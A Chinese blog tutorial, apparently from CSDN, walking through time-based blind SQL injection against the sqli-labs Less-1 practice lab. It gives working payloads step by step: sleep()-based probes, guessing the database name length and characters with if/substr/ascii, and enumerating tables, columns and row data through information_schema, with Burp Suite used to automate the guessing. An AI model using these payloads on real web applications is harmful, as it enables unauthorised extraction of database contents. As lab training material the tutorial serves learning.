1、搭建好环境,连好数据库;这里看我这篇文章,可以找到网盘文件
sql注入之报错注入;这里用到的是sqli-labs/Less-1;也就是第一关,利用报错信息注入;_小乘杭的博客-优快云博客
2、无真假,报错回显,通过时间延迟判断;
] } " '
3、通过延迟函数判断是否有延迟
sleep(延迟几秒)
benchmark()
这里延迟6秒:成功,有时间盲注
?id=1' and sleep(6) -- +
4、猜一下数据库长度:
if(判断函数,为真返回值,为假返回值)
?id=1' and if( length(database()) = 1,sleep(3),1) -- +
利用burpsuite抓包,将数据长度设置为变量,进行匹配;
随便给0-9数字猜一下
按照响应时间排序
找出字节长度为8
5、找一下数据库名字
substr(第几个开始截取,截取几个)
?id=1' and if(substr(database(),1,1)='s',sleep(10),1) -- +
由于大小写不敏感,所以通过ascll码转换后和数字比对得出
?id=1' and if(ascii(substr(database(),1,1))=1,sleep(10),1) -- +
第二个参数为ascll中的0-127
对比acsii码就可以得到
6、这次只匹配小写数据库,既然大小写不敏感
?id=1' and if(substr(database(),1,1)='s',sleep(10),1) -- +
数据库名为:security
7、爆一下表名
?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='s',sleep(10),1) -- -
limit0,1-->找第一张表;
这里找到第一张表:emails
8、爆一下emails表的字段名
?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1)='s',sleep(10),1) -- -
找到第一个字段为id
9、爆一下字段id的数据
?id=1' and if(substr((select id from emails limit 0,1),1,1)='s',sleep(10),1) -- -
数据为id=1